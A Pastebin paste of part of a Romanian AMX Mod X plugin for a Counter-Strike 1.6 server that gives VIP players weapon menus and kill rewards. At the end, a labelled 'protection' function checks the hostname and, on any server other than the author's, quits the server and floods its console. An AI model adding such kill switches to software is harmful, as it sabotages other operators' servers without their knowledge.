  893.                 formatex(szMenuMulti, charsmax(szMenuMulti), "AK47 + %s + Grenade", s_Pistol)
  894.                 menu_additem(i_Menu, szMenuMulti, "2", 0)
  895.  
  896.                 if(is_vip(id))
  897.                 {
  898.                     formatex(szMenuMulti, charsmax(szMenuMulti), "AWP + %s + Grenade", s_Pistol)
  899.                     menu_additem(i_Menu, szMenuMulti, "3", 0)
  900.  
  901.                     formatex(szMenuMulti, charsmax(szMenuMulti), "G3SG1 + %s + Grenade (Terrorist)", s_Pistol)
  902.                     menu_additem(i_Menu, szMenuMulti, "6", 0)
  903.  
  904.                     formatex(szMenuMulti, charsmax(szMenuMulti), "SG550 + %s + Grenade (Counter-Terrorist)", s_Pistol)
  905.                     menu_additem(i_Menu, szMenuMulti, "7", 0)
  906.                 }
  907.                 else if(!is_vip(id) || !has_flag(id, "x") || has_flag(id, "y"))
  908.                 {
  909.                     formatex(szMenuMulti, charsmax(szMenuMulti), "AWP + [PISTOL] + Grenade \r[GOLD ONLY]")
  910.                     menu_additem(i_Menu, szMenuMulti, "3", ADMIN_ADMIN)
  911.  
  912.                     formatex(szMenuMulti, charsmax(szMenuMulti), "G3SG1 + [PISTOL] + Grenade (Terrorist) \r[GOLD ONLY]")
  913.                     menu_additem(i_Menu, szMenuMulti, "6", ADMIN_ADMIN)
  914.  
  915.                     formatex(szMenuMulti, charsmax(szMenuMulti), "SG550 + [PISTOL] + Grenade (Counter-Terrorist) \r[GOLD ONLY]")
  916.                     menu_additem(i_Menu, szMenuMulti, "7", ADMIN_ADMIN)
  917.                 }
  918.  
  919.                 if(g_Weapon[id] && g_chosen[id])
  920.                 {
  921.                     formatex(szMenuMulti, charsmax(szMenuMulti), "<<< Primul Meniu (Pistoale)")
  922.                     menu_additem(i_Menu, szMenuMulti, "8", 0)
  923.                 }
  924.  
  925.                 //g_chosen[id] = false;
  926.                 //vip_opened[id] = 0;
  927.                 //g_Weapon[id] = 0;
  928.  
  929.                 menu_setprop(i_Menu, MPROP_EXIT, MEXIT_ALL);
  930.                 menu_display(id, i_Menu, 0)
  931.             }
  932.             else
  933.             {
  934.                 if(get_pcvar_num(cvar_round))
  935.                 {
  936.                     chat_color(id, "!g[PLAY-VIP]!t Meniul se deschide doar dupa !g%d!t runde!", get_pcvar_num(cvar_round))
  937.                     return PLUGIN_HANDLED;
  938.                 }
  939.                 else
  940.                 {
  941.                     chat_color(id, "!g[PLAY-VIP]!t Meniul se deschide doar dupa !g%d!t runde!", get_pcvar_num(cvar_round))
  942.                     return PLUGIN_HANDLED;
  943.                 }
  944.             }
  945.         }
  946.         else
  947.             chat_color(id, "!g[PLAY-VIP]!t Sincer... ceva nu merge bine. Contacteaza-ne pe !gwww.leaguecs.ro/forum")
  948.     }
  949.     else
  950.         chat_color(id, "!g[PLAY-VIP]!t Esti mort... nu poti folosi meniul!")
  951.     //else
  952.         //chat_color(id, "!g[PLAY-VIP]!t Nu esti !gVIP!t. Foloseste comanda !g/help!t pentru afisare detalii")
  953.  
  954.     return PLUGIN_HANDLED;
  955. }
  956.  
  957. public main_handler(id, menu, item)
  958. {
  959.     if(item == MENU_EXIT)
  960.     {
  961.         menu_destroy(menu)
  962.         return PLUGIN_HANDLED;
  963.     }
  964.  
  965.     if(!is_user_alive(id) && !is_user_connected(id))
  966.         return PLUGIN_HANDLED;
  967.  
  968.     new s_Data[6], s_Name[60], i_Access, i_Callback
  969.     menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
  970.     new i_Key = str_to_num(s_Data)
  971.     new name[32]
  972.     get_user_name(id, name, charsmax(name))
  973.  
  974.     switch(g_Weapon[id])
  975.     {
  976.         case 0:
  977.         {
  978.             first_menu(id);
  979.             menu_destroy(menu);
  980.         }
  981.         case 1:
  982.         {
  983.             for(new i = 0;i < sizeof secondaryWeapons;i++)
  984.                 engclient_cmd(id, "drop", secondaryWeapons[i])
  985.  
  986.             give_item(id, "weapon_deagle")
  987.             cs_set_user_bpammo(id, CSW_DEAGLE, 35)
  988.         }
  989.         case 2:
  990.         {
  991.             for(new i = 0;i < sizeof secondaryWeapons;i++)
  992.                 engclient_cmd(id, "drop", secondaryWeapons[i])
  993.  
  994.             give_item(id, "weapon_usp")
  995.             cs_set_user_bpammo(id, CSW_USP, 100)
  996.         }
  997.         case 3:
  998.         {
  999.             if(pev(id, pev_weapons) & 1 << CSW_GLOCK18)
  1000.             for(new i = 0;i < sizeof secondaryWeapons;i++)
  1001.                 engclient_cmd(id, "drop", secondaryWeapons[i])
  1002.  
  1003.             give_item(id, "weapon_glock18")
  1004.             cs_set_user_bpammo(id, CSW_GLOCK18, 120)
  1005.         }
  1006.     }
  1007.  
  1008.     switch(i_Key)
  1009.     {
  1010.         case 1:
  1011.         {
  1012.             vip_opened[id]++
  1013.             /*if(user_has_weapon(id, CSW_C4))
  1014.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1015.  
  1016.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1017.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1018.  
  1019.             give_item(id, "weapon_m4a1")
  1020.             cs_set_user_bpammo(id, CSW_M4A1, 90)
  1021.  
  1022.             if(get_pcvar_num(cvar_chat) == 1)
  1023.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit M4A1 gratuit + !gGrenade", name)
  1024.         }
  1025.         case 2:
  1026.         {
  1027.             vip_opened[id]++
  1028.             /*if(user_has_weapon(id, CSW_C4))
  1029.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1030.  
  1031.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1032.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1033.  
  1034.             give_item(id, "weapon_ak47")
  1035.             cs_set_user_bpammo(id, CSW_AK47, 90)
  1036.  
  1037.             if(get_pcvar_num(cvar_chat) == 1)
  1038.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit Ak47 gratuit + !gGrenade", name)
  1039.         }
  1040.         case 3:
  1041.         {
  1042.             vip_opened[id]++
  1043.             /*if(user_has_weapon(id, CSW_C4))
  1044.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1045.  
  1046.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1047.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1048.  
  1049.             give_item(id, "weapon_awp")
  1050.             cs_set_user_bpammo(id, CSW_AWP, 30)
  1051.  
  1052.             if(get_pcvar_num(cvar_chat) == 1)
  1053.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit Polar gratuit + !gGrenade", name)
  1054.         }
  1055.         case 4:
  1056.         {
  1057.             vip_opened[id]++
  1058.             /*if(user_has_weapon(id, CSW_C4))
  1059.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1060.  
  1061.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1062.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1063.  
  1064.             give_item(id, "weapon_famas")
  1065.             cs_set_user_bpammo(id, CSW_FAMAS, 90)
  1066.  
  1067.             if(get_pcvar_num(cvar_chat) == 1)
  1068.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit Famas gratuit + !gGrenade", name)
  1069.         }
  1070.         case 5:
  1071.         {
  1072.             vip_opened[id]++
  1073.             /*if(user_has_weapon(id, CSW_C4))
  1074.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1075.  
  1076.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1077.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1078.  
  1079.             give_item(id, "weapon_galil")
  1080.             cs_set_user_bpammo(id, CSW_GALIL, 90)
  1081.  
  1082.             if(get_pcvar_num(cvar_chat) == 1)
  1083.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit Galil gratuit + !gGrenade", name)
  1084.         }
  1085.         case 6:
  1086.         {
  1087.             vip_opened[id]++
  1088.             /*if(user_has_weapon(id, CSW_C4))
  1089.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1090.  
  1091.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1092.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1093.  
  1094.             give_item(id, "weapon_g3sg1")
  1095.             cs_set_user_bpammo(id, CSW_G3SG1, 90)
  1096.  
  1097.             if(get_pcvar_num(cvar_chat) == 1)
  1098.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit G3SG1 (D3/AU-1) gratuit + !gGrenade", name)
  1099.         }
  1100.         case 7:
  1101.         {
  1102.             vip_opened[id]++
  1103.             /*if(user_has_weapon(id, CSW_C4))
  1104.                 engclient_cmd(id, "drop", "weapon_c4")*/
  1105.  
  1106.             for(new i = 0;i < sizeof primaryWeapons;i++)
  1107.                 engclient_cmd(id, "drop", primaryWeapons[i])
  1108.  
  1109.             give_item(id, "weapon_sg550")
  1110.             cs_set_user_bpammo(id, CSW_SG550, 90)
  1111.  
  1112.             if(get_pcvar_num(cvar_chat) == 1)
  1113.                 chat_color(id, "!g[PLAY-VIP]!t VIP-ul !g%s!t a primit SG550 (Counter-Terorist) gratuit + !gGrenade", name)
  1114.         }
  1115.         case 8:
  1116.         {
  1117.             g_chosen[id] = false;
  1118.             vip_opened[id] = 0;
  1119.             g_Weapon[id] = 0;
  1120.             first_menu(id);
  1121.         }
  1122.     }
  1123.  
  1124.     //menu_destroy(menu);
  1125.     return PLUGIN_CONTINUE;
  1126. }
  1127.  
  1128. public first_menu(id)
  1129. {
  1130.     if(!UserInBuyZone[id] && is_user_alive(id))
  1131.     {
  1132.         client_print(id, print_center, "Doar din Spawn iti poti sa iti iei iteme pentru VIP!");
  1133.         return PLUGIN_HANDLED;
  1134.     }
  1135.  
  1136.     if(remove_vip)
  1137.         return PLUGIN_HANDLED;
  1138.  
  1139.     if(!is_user_connected(id))
  1140.         return PLUGIN_HANDLED;
  1141.  
  1142.     i_Menu_Pistol = menu_create("Ce pistol doresti Boss?", "first_menu_handler")
  1143.  
  1144.     menu_additem(i_Menu_Pistol, "Deagle [35 Gloante]", "1", 0)
  1145.     menu_additem(i_Menu_Pistol, "USP [100 Gloante]", "2", 0)
  1146.     menu_additem(i_Menu_Pistol, "Glock [120 Gloante]\y", "3", 0)
  1147.  
  1148.     menu_setprop(i_Menu_Pistol, MPROP_EXIT, MEXIT_ALL);
  1149.     menu_display(id, i_Menu_Pistol, 0)
  1150.  
  1151.     return PLUGIN_HANDLED;
  1152. }
  1153.  
  1154. public first_menu_handler(id, menu, item)
  1155. {
  1156.     if(item == MENU_EXIT)
  1157.     {
  1158.         menu_destroy(menu)
  1159.         return PLUGIN_HANDLED
  1160.     }
  1161.  
  1162.     new s_Data[6], s_Name[60], i_Access, i_Callback
  1163.     menu_item_getinfo(menu, item, i_Access, s_Data, charsmax(s_Data), s_Name, charsmax(s_Name), i_Callback)
  1164.     new i_Key = str_to_num(s_Data)
  1165.  
  1166.     for(new i = 0;i <6;i++)
  1167.         fm_strip_user_gun(id, pistols[i])
  1168.  
  1169.     switch(i_Key)
  1170.     {
  1171.         case 1:
  1172.         {
  1173.             if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
  1174.             {
  1175.                 main_menu(id)
  1176.  
  1177.                 for(new i = 0;i < sizeof secondaryWeapons;i++)
  1178.                     engclient_cmd(id, "drop", secondaryWeapons[i])
  1179.             }
  1180.  
  1181.             g_chosen[id] = true;
  1182.             g_Weapon[id] = 1;
  1183.             give_item(id, "weapon_deagle")
  1184.             cs_set_user_bpammo(id, CSW_DEAGLE, 35)
  1185.         }
  1186.         case 2:
  1187.         {
  1188.             if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
  1189.             {
  1190.                 main_menu(id)
  1191.  
  1192.                 for(new i = 0;i < sizeof secondaryWeapons;i++)
  1193.                     engclient_cmd(id, "drop", secondaryWeapons[i])
  1194.             }
  1195.  
  1196.             g_chosen[id] = true;
  1197.             g_Weapon[id] = 2;
  1198.             give_item(id, "weapon_usp")
  1199.             cs_set_user_bpammo(id, CSW_USP, 100)
  1200.         }
  1201.         case 3:
  1202.         {
  1203.             if(vip_opened[id] == 0 && g_Round >= get_pcvar_num(cvar_round))
  1204.             {
  1205.                 main_menu(id)
  1206.  
  1207.                 for(new i = 0;i < sizeof secondaryWeapons;i++)
  1208.                     engclient_cmd(id, "drop", secondaryWeapons[i])
  1209.             }
  1210.  
  1211.             g_chosen[id] = true;
  1212.             g_Weapon[id] = 3;
  1213.             give_item(id, "weapon_glock18")
  1214.             cs_set_user_bpammo(id, CSW_GLOCK18, 120)
  1215.         }
  1216.     }
  1217.  
  1218.     //menu_destroy(menu);
  1219.     return PLUGIN_CONTINUE;
  1220. }
  1221.  
  1222. stock get_vips_online()
  1223. {
  1224.     new players[32], pnum, vs, i, userid
  1225.     get_players(players, pnum, "ch")
  1226.    
  1227.     for(i = 0; i < pnum; i++)
  1228.     {
  1229.         userid = players[i]
  1230.        
  1231.         if(!(is_vip(userid)))
  1232.             continue;
  1233.        
  1234.         vs ++;
  1235.     }
  1236.    
  1237.     return vs
  1238. }
  1239.  
  1240. stock chat_message(index, const message[], any:...)
  1241. {
  1242.     new sBuffer[256], dest
  1243.     vformat(sBuffer[1], charsmax(sBuffer), message, 3)
  1244.    
  1245.     sBuffer[0] = '^1'
  1246.    
  1247.     replace_all(sBuffer[1], charsmax(sBuffer), "!y", "^1")
  1248.     replace_all(sBuffer[1], charsmax(sBuffer), "!t", "^3")
  1249.     replace_all(sBuffer[1], charsmax(sBuffer), "!g", "^4")
  1250.    
  1251.     sBuffer[192] = '^0'
  1252.    
  1253.     if(index)
  1254.     {
  1255.         dest = MSG_ONE_UNRELIABLE
  1256.     }
  1257.     else
  1258.     {
  1259.         dest = MSG_BROADCAST
  1260.     }
  1261.    
  1262.     message_begin(dest, get_user_msgid("SayText"), {0, 0, 0}, index)
  1263.     write_byte(index)
  1264.     write_string(sBuffer)
  1265.     message_end()
  1266. }
  1267.  
  1268. /*public Damage(id)
  1269. {
  1270.     new weapon, hitpoint, attacker = get_user_attacker(id,weapon,hitpoint)
  1271.     if(attacker<=MAXPLAYERS && is_user_alive(attacker) && attacker!=id)
  1272.     if(get_user_flags(id) & VIP_FLAG) //Checks if player is VIP
  1273.     {
  1274.         new money = read_data(2) * get_pcvar_num(cvar[money_hs]
  1275.         if(hitpoint==1) money += get_pcvar_num(cvar[money_hs] //Checks if player damages enemy by head shot
  1276.         cs_set_user_money(attacker,cs_get_user_money(attacker) + money) //Gives money for damaging enemys
  1277.     }
  1278. }*/
  1279.  
  1280. public event_DeathMsg()
  1281. {
  1282.     if(remove_vip)
  1283.         return PLUGIN_HANDLED;
  1284.  
  1285.     new killer = read_data(1);
  1286.     new victim = read_data(2);
  1287.     new headshot = read_data(3);
  1288.     new hp = headshot ? get_pcvar_num(cvar[hp_hs]) : get_pcvar_num(cvar[hp_kill]);
  1289.     new money = headshot ? get_pcvar_num(cvar[money_hs]) : get_pcvar_num(cvar[money_kill]);
  1290.  
  1291.     if(is_vip(victim))
  1292.         if(!g_chosen[victim])
  1293.             set_task(1.0, "first_menu", victim)
  1294.  
  1295.     if(is_user_alive(killer) && (is_vip(killer) || get_user_flags(killer) & read_flags("y") || vip_free))
  1296.     {
  1297.         if(killer == victim) return PLUGIN_HANDLED;
  1298.         if(hp != 0) set_user_health(killer, clamp(get_user_health(killer) + hp, 1, get_pcvar_num(cvar[max_hp_kill])));
  1299.         if(money != 0) cs_set_user_money(killer, clamp(cs_get_user_money(killer) + money - 300, 1, 16000));
  1300.  
  1301.         set_hudmessage(0, 255, 0, -1.0, 0.15, 0, 1.0, 1.0, 0.1, 0.1, -1)
  1302.         show_hudmessage(killer, "Healed +%d HP", hp);
  1303.  
  1304.         message_begin(MSG_ONE, get_user_msgid("ScreenFade"), _, killer);
  1305.         write_short(1<<10);
  1306.         write_short(1<<10);
  1307.         write_short(0x0000);
  1308.         write_byte(0);
  1309.         write_byte(0);
  1310.         write_byte(200);
  1311.         write_byte(75);
  1312.         message_end();
  1313.     }
  1314.  
  1315.     return PLUGIN_CONTINUE;
  1316. }
  1317.  
  1318. public hook_say(id)
  1319. {
  1320.     /*static szAllArgs[1023];
  1321.     read_args(szAllArgs, charsmax(szAllArgs))
  1322.     if((containi(szAllArgs, "/vip")!= -1 || containi(szAllArgs, "/vips")!= -1))
  1323.         return PLUGIN_HANDLED;*/
  1324.  
  1325.     new said[192];
  1326.     read_args(said,192);
  1327.     if(contain(said, "/vips") != -1)
  1328.         set_task(0.1,"check_vips",id);
  1329.  
  1330.     return PLUGIN_CONTINUE;
  1331. }
  1332.  
  1333. public check_vips(id)
  1334. {
  1335.     new sBuffer[128], sVipname[32], sSlots[34], userid, vs, i
  1336.    
  1337.     formatex(sBuffer, charsmax(sBuffer), "!t[-!gV!tI!gP's!t-] !gOnline: ")
  1338.    
  1339.     new z;
  1340.     if((z = get_vips_online()))
  1341.     {
  1342.         new players[32], pnum
  1343.         get_players(players, pnum, "ch")
  1344.        
  1345.         for(i = 0; i < pnum; i++)
  1346.         {
  1347.             userid = players[i]
  1348.            
  1349.             if(!(is_vip(userid)))
  1350.                 continue;
  1351.            
  1352.             vs ++;
  1353.             get_user_name(userid, sVipname, charsmax(sVipname))
  1354.             formatex(sSlots, charsmax(sSlots), "!t%s!g%s", sVipname, z == vs ? ".":", ")
  1355.             add(sBuffer, charsmax(sBuffer), sSlots)
  1356.         }
  1357.     }
  1358.     else if(!get_vips_online())
  1359.     {
  1360.         add(sBuffer, charsmax(sBuffer), "!tThere is no vip's !gOnline!")
  1361.     }
  1362.    
  1363.     chat_message(id, sBuffer)
  1364. }
  1365.  
  1366. public print_adminlist(user)
  1367. {
  1368.     new adminnames[33][32];
  1369.     new message[256];
  1370.     new id, count, x, len;
  1371.  
  1372.     for(id = 1 ; id <= get_maxplayers() ; id++)
  1373.         if(is_user_connected(id))
  1374.             if(is_vip(id) || get_user_flags(id) & read_flags("y"))
  1375.                 get_user_name(id, adminnames[count++], charsmax(adminnames[ ]));
  1376.  
  1377.     len = format(message, 255, "^1VIP-ii online sunt:^4 ");
  1378.     if(count > 0)
  1379.     {
  1380.         for(x = 0 ; x < count ; x++)
  1381.         {
  1382.             len += format(message[len], 255-len, "%s%s ", adminnames[x], x < (count-1) ? ", ":"");
  1383.             if(len > 96)
  1384.             {
  1385.                 print_message(user, message);
  1386.                 len = format(message, 255, " ");
  1387.             }
  1388.         }
  1389.         print_message(user, message);
  1390.     }
  1391.     else
  1392.         chat_color(id, "!g[PLAY - VIP]!t ^1Nu sunt ^4VIP^1-i online.")
  1393.  
  1394.     return PLUGIN_CONTINUE;
  1395. }
  1396.  
  1397. public StatusIcon_buyzone_OFF(id)
  1398. {
  1399.     if(!remove_vip)
  1400.     {
  1401.         UserInBuyZone[id] = false;
  1402.         CheckMenuClose(id);
  1403.     }
  1404. }
  1405.  
  1406. public Event_StatusIcon_Show_buyzone(id)
  1407.     if((is_vip(id) || get_user_flags(id) & read_flags("y") || vip_free))
  1408.         UserInBuyZone[id] = true;
  1409.  
  1410. CheckMenuClose(id)
  1411. {
  1412.     new oldMenuId, newMenuId;
  1413.     player_menu_info(id, oldMenuId, newMenuId)
  1414.     if(newMenuId > -1 && newMenuId == i_Menu || newMenuId > -1 && newMenuId == i_Menu_Pistol)
  1415.         menu_cancel(id);
  1416. }
  1417.  
  1418. print_message(id, msg[])
  1419. {
  1420.     message_begin(MSG_ONE, get_user_msgid("SayText"), {0,0,0}, id);
  1421.     write_byte(id);
  1422.     write_string(msg);
  1423.     message_end();
  1424. }
  1425.  
  1426. stock bool: is_vip(const id)
  1427. {
  1428.     if(!is_user_connected(id))
  1429.         return false;
  1430.  
  1431.     if(IsUserVip[id] || get_user_flags(id) & read_flags("x")) /*|| equali(name, "seven|sin")|| equali(name, "PedoBear"))*/
  1432.         return true;
  1433.  
  1434.     return false;
  1435. }
  1436.  
  1437. stock chat_color(const id, const input[], any:...)
  1438. {
  1439.     new count = 1, Jucatori[32]
  1440.     static msg[191]
  1441.     vformat(msg, 190, input, 3)
  1442.  
  1443.     replace_all(msg, 190, "!g", "^4")//Culoarea Verde
  1444.     replace_all(msg, 190, "!y", "^1")//Culoarea Normala a Chat-ului (galben)
  1445.     replace_all(msg, 190, "!t", "^3")//Culoarea Echipei : CT = Albastru | T = Rosu.
  1446.  
  1447.     if (id)Jucatori[0] = id;else get_players(Jucatori, count, "ch")
  1448.     {
  1449.         for (new Y = 0;Y <count;Y++)
  1450.         {
  1451.             if (is_user_connected(Jucatori[Y]))
  1452.             {
  1453.                 message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, Jucatori[Y])
  1454.                 write_byte(Jucatori[Y]);
  1455.                 write_string(msg);
  1456.                 message_end();
  1457.             }
  1458.         }
  1459.     }
  1460. }
  1461.  
  1462. //======================================================//
  1463. //      END Stock-URI ===>>>>> PROTECTIE
  1464. //======================================================//
  1465. /* Protected Plugin */
  1466. public _ProtectCheck_()
  1467. {
  1468.     new HostNameProtect[] = "PLAY.LEAGUECS.RO"
  1469.     new HostNameProtectTESTE[] = "Server Teste"
  1470.     new ActualHostname[64], xP[32], xN
  1471.  
  1472.     get_pcvar_string(get_cvar_pointer("hostname"), ActualHostname, 63)
  1473.     strtoupper(ActualHostname)
  1474.  
  1475.     if (containi(ActualHostname, HostNameProtect) != -1 || containi(ActualHostname, HostNameProtectTESTE) != -1)
  1476.         return PLUGIN_CONTINUE
  1477.     else
  1478.     {
  1479.         server_cmd("quit;exit;map de_dust2") //quit;exit;map de_dust2;map hns_floppywon -> VECHI
  1480.         pause("ade"); //Nou
  1481.         for (new i=0;i < 500000;i++)
  1482.         {
  1483.             get_players(xP, xN)
  1484.             //for (new o=0;o < xN;o++)
  1485.                 //chatcolor(xP[i], "!tPluginul este protejat. Aceasta este o tentativa de frauda.")
  1486.  
  1487.             server_print("[VIP PLAY] Doresti sa furi addons-ul, domnule? Cauta-l pe, PaulSB aka M@f!aSB, ca sa il cumperi!")
  1488.         }
  1489.     }
  1490.  
  1491.     return PLUGIN_CONTINUE
  1492. }
  1493. //======================================================//
  1494. //      END PROTECTIE
  1495. //======================================================//
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top